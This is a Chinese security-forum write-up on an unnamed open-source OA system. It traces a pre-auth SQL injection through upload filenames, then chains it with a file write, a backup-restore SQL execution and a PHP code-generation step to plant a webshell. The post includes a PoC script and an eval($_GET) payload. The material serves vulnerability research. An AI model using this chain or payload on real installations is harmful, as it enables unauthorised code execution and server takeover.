问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某开源OA白名单后缀限制下巧用系统设计getshell
白名单后缀限制下巧用系统设计getshell
白名单后缀限制下巧用系统设计getshell ====================== 0x01 路由情况 --------- 该 OA 的 `action` 主要是在 `webmain` 目录下  然后通过请求参数中的 `d`、`m`、`a` 定位到具体的 `action` 中的方法进行调到  如 `d=systam&m=admin|admin&a=login` 相当于调用 `webmain/system/admin/adminAction.php#login()` 而所有的 action 都会继承 `mainAction`,当我们请求某个 action 时首先会调用父类 `mainAction` 的 `__construct`,进行初始化的一些操作  其中我们发现有关鉴权的处理被子类的 `initAction` 所实现,比如 apiAction 中  0x02 前台注入 --------- ### 2.1 代码分析 在查看 initAction 的实现时发现有个类实现该方法未存在鉴权  且其功能点说明是上传文件,我们着重看一下怎么个事 ```php public function xxxxAction() { if(!$_FILES)exit('sorry!'); $upimg = c('upfile'); $maxsize= (int)$this->get('maxsize', $upimg->getmaxzhao());//上传最大M $uptypes= 'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar'; $upimg->initupfile($uptypes, ''.UPDIR.'|'.date('Y-m').'', $maxsize); $upses = $upimg->up('file'); if(!is_array($upses))exit($upses); $arr = c('down')->uploadback($upses); $arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0; //是否上传其他平台 return $arr; } ``` 该方法主要是定义了白名单上传后缀 `$uptypes`,调用 up 方法进行上传后返回文件信息,然后调用 `uploadback`,跟进到其中 ```php public function uploadback($upses, $thumbnail='', $subo=true) { $msg = ''; $data = array(); if(is_array($upses)){ $fileext= substr($upses['fileext'],0,10); $arrs = array( 'adddt' => $this->rock->now, 'valid' => 1, 'filename' => $this->replacefile($upses['oldfilename']), 'web' => $this->rock->web, 'ip' => $this->rock->ip, 'mknum' => $this->rock->get('sysmodenum'), //'mid' => $this->rock->get('sysmid','0'), 'fileext' => $fileext, 'filesize' => (int)$this->rock->get('filesize', $upses['filesize']), 'filesizecn'=> $upses['filesizecn'], 'filepath' => str_replace('../','',$upses['allfilename']), 'optid' => $this->adminid, 'optname' => $this->adminname, 'comid' => m('admin')->getcompanyid(), ); $arrs['filetype'] = m('file')->getmime($fileext); //判断是不是需要压缩jpg和jpeg ... $bo = $this->db->record('[Q]file',$arrs); if(!$bo)$this->reutnmsg($this->db->error()); $id = $this->db->insert_id(); } ``` 该方法主要是通过之前 `up` 方法上传文件返回的数组 `$upses` 和全局配置信息构造 `$arrs`,然后调用 `$this->db->record` 方法操作 `$arrs`。 来到 `record` 方法 ```php public function record($table,$array,$where='') { $addbool = true; if(!$this->isempt($where))$addbool=false; $cont = ''; if(is_array($array)){ foreach($array as $key=>$val){ $cont.=",`$key`=".$this->toaddval($val).""; } $cont = substr($cont,1); }else{ $cont = $array; } $table = $this->gettables($table); if($addbool){ $sql="insert into $table set $cont"; }else{ $where = $this->getwhere($where); $sql="update $table set $cont where $where"; } return $this->tranbegin($sql); } ``` 这里就直接操作 `$array` 为 `key=value` 格式然后逗号拼接后带入到 SQL 语句中执行 控制了$array 中的内容就能实现 SQL 注入,而其中`filename`、`filepath`、`filetype`等这几个键的内容是通过上传文件获取到的,那我们对上传文件名做文章是不是就可以造成 sql 注入呢。 ```php public function up($name,$cfile='') { if(!$_FILES)return 'sorry!'; $file_name = $_FILES[$name]['name']; $file_size = $_FILES[$name]['size'];//字节 $file_type = $_FILES[$name]['type']; $file_error = $_FILES[$name]['error']; $file_tmp_name = $_FILES[$name]['tmp_name']; $zongmax = $this->getmaxupsize(); if($file_size<=0 || $file_size > $zongmax){ return '文件为0字节/超过'.$this->formatsize($zongmax).',不能上传'; } ... return array( 'newfilename' => $file_newname, 'oldfilename' => $file_name, 'filesize' => $file_size, 'filesizecn' => $file_sizecn, 'filetype' => $file_type, 'filepath' => $save_path, 'fileext' => $file_ext, 'allfilename' => $allfilename, 'picw' => $picw, 'pich' => $pich ); }else{ return '上传失败:'.$this->geterrmsg($file_error).''; } } ``` 通过 `up` 方法的返回值构造可以看到 `oldname` 其实就是上传文件的文件名,这也证实我们的想法。 ### 2.2 漏洞复现  0x03 扩大危害 RCE ------------- #### 3.1 漏洞点 该 cms 自己实现了写入文件接口,我们查看其用法中写入  通过这么多处调用我们发现有一处调用会写入 php 中 ```php $apaths = ''.P.'xxxx/mode_'.$modenum.'Action.php'; $apath = ''.ROOT_PATH.'/'.$apaths.''; if(!file_exists($apath)){ $stra = '<?php /** * 此文件是【'.$modenum.'.'.$rs['name'].'】。 */ .... '; $this->rock->createtxt($apaths, $stra); } ``` 要是我们能控制 `$modenum` 或是 `$rs['name']` 的内容就可以 getshell,不过 `$modenum` 同时也控制了文件名所以我们只能通过控制 `$rs['name']` 来 getshell。 ```php $setid = (int)$this->get('setid','0'); $rs = m('flow_set')->getone("`id`='$setid'"); if(!$rs)exit('sorry!'); $rs['xxx'] = count(explode(',', (string)$rs['tables'])); $modenum = $rs['num']; ``` 而 `$rs` 数组是由 `flow_set` 数据库获取到的,  下面是 `flow_se` 默认的数据信息,要是我们可以插入或者修改数据就可以。 #### 3.2 寻找漏洞触发点 根据常规思路我们只要寻找有插入 `flow_set` 表的方法即可。还真被我找到一个 ```php public function xxxAction() { $name = $this->rock->xssrepstr($this->post('name')); $fields = c('pingyin')->get($name,1); .. $num = 'zz'.$fields.''; $id = 0; $uarr['name'] = $name; $uarr['num'] = $num; $uarr['table'] = $num; ... $id = m('flow_set')->insert($uarr); ``` 构造 poc,闭合前面写入文件时的注释为 ```php */eval($_GET['a']);/* ``` 实际发现在 `$this->rock->xssrepstr` 中对特殊字符做了处理 ```php public function xssrepstr($str) { $xpd = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\''); $xpd[]= "\n"; return str_ireplace($xpd, '', $str); } ``` 括号之类的都被过滤点了,这个利用点看来无法利用了,那我们只能再找找有没有可以执行 SQL 语句且传参会不进行过滤的点。 通过在 web 目录下查找系统重写的 sql 执行方法 `query`,在某处方法中找到疑似执行任意 sql 语句的方法 ```php if(getconfig('systype')=='demo')exit(); if($this->adminid!=1)return '只有ID=1的管理员才可以用'; $folder = $this->post('folder'); $sida = explode(',', $this->post('sid')); $alltabls = $this->db->getalltable(); $shul = 0; $tablss = ''; foreach($sida as $id){ $ids = substr($id,0,-5); $ida = explode('_', $ids); $len = count($ida); $fieldshu = $ida[$len-2]; $total = $ida[$len-1]; $tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表 $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.''; if(!file_exists($filepath))continue; $data = m('beifen')->getbfdata('',$filepath); if(!$data)continue; $dataarr = $data[$tab]; //表不存在 if(!in_array($tab, $alltabls)){ $createsql = arrvalue($dataarr, 'createsql'); if($createsql){ $this->db->query($createsql, false); }else{ continue; } } ``` 在该方法中通过处理传入的 `sid`,获取 table 名,如果 table 名不在数据库所有表名中时,会获取某个目录下 `$sid` 名的文件内容作为数组并取得 `createsql` 的内容进行 sql 语句执行。 那么就是说如果 `sid` 可控文件内容,同时 `sid` 不在表内那么我们就能构造修改 `flow_set` 数据的 sql,而且目录 `folder` 也是可控的,似乎离成功近在咫尺了,我们找找有没有方法可以写入文件。 在用上面方法寻找文件写入的方法是我们发现好多文件名都是带了随机数,这不太好控制其位置,所以我们要找一个文件名不带随机数的写入点。 比如下面这个 ```php public function savetopdfAjax() { $imgbase64 = $this->post('imgbase64'); if(isempt($imgbase64))return returnerror('无数据'); $path = ''.UPDIR.'/logs/'.date('Y-m').'/abc.png'; $bo = $this->rock->createtxt($path, base64_decode($imgbase64)); if(!$bo)return returnerror(''.UPDIR.'目录无写入权限'); $pa1 = ''.ROOT_PATH.'/include/fpdf/fpdf.php'; if(!file_exists($pa1))return returnerror('没有安装fpdf插件'); include_once($pa1); $fpdf = new FPDF(); $fpdf->AddPage(); $fpdf->Image($path,0,0); $fpdf->Output('F',''.UPDIR.'/logs/'.date('Y-m').'/to.pdf'); $this->showreturn('ok:'.$fpdf->GetPageHeight().''); } ``` 该方法首先是根据 `imgbase64` 上传一个 `abc.png` 文件,其次是一个 pdf 文件,因为默认没这个插件所以实际发包会报错,但不影响 `abc.png` 上传操作的执行。 于是构造文件内容的 poc 为 ```php <?php $arr = array( "abc.png" => array("createsql" => "update flow_set set name=\"*\/eval($_GET\['pwa'\]);\/*\" where id=160;") ); echo base64_encode(json_encode($arr)); ``` 第一层数组的键为文件名,为得是符合上面方法中 `$dataarr= $data[$tab]` 获取到我们后面数组 `$tab` 其实就是传入的文件名参数。第二层数组就是实际执行的 SQL 语句,其实 id 值是默认数据库中最后一行数据的 id 值。 此方法上传的文件位置为 `upload/logs/2024-12/abc.png`。 ### 3.3 漏洞复现 整个过程就是 1. `savetopdfAjax` 上传内容为恶意 sql 语句的图片。 2. 请求接口触发图片内容中的恶意 SQL 语句 3. 将更新数据表后带有 payload 的 name 值写入到 php 文件中,成功实现 getshell。 首先上传图片   `flow_set` 表中默认的数据都是存在相应的 `PHP` 文件的,我们得新插入一条数据进行上述操作才能生成恶意的 php 文件。 我们用之前找到的插入 `flow_set` 数据的接口进行插入  此时数据表为  记住这个 id 和 num 的值,我们根据 `id` 值重新生成 `abc.png` 的内容,然后进行恶意 sql 更新   通过数据表可以看到成功修改了数据表中的内容,然后我们需要触发 `php` 文件的写入  找到 `mode_zzmixnpgAction.php`,可以看到成功写入  因为该文件在 web 目录下所以我们可以通过系统的路由方式来访问  可以看到成功执行代码。
发表于 2025-02-25 09:33:30
阅读 ( 7868 )
分类:
漏洞分析
1 推荐
收藏
2 条评论
routing
2025-02-25 10:12
牛啊,师傅
请先
登录
后评论
NGU2025
2025-02-25 18:57
1
请先
登录
后评论
请先
登录
后评论
中铁13层打工人
79 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!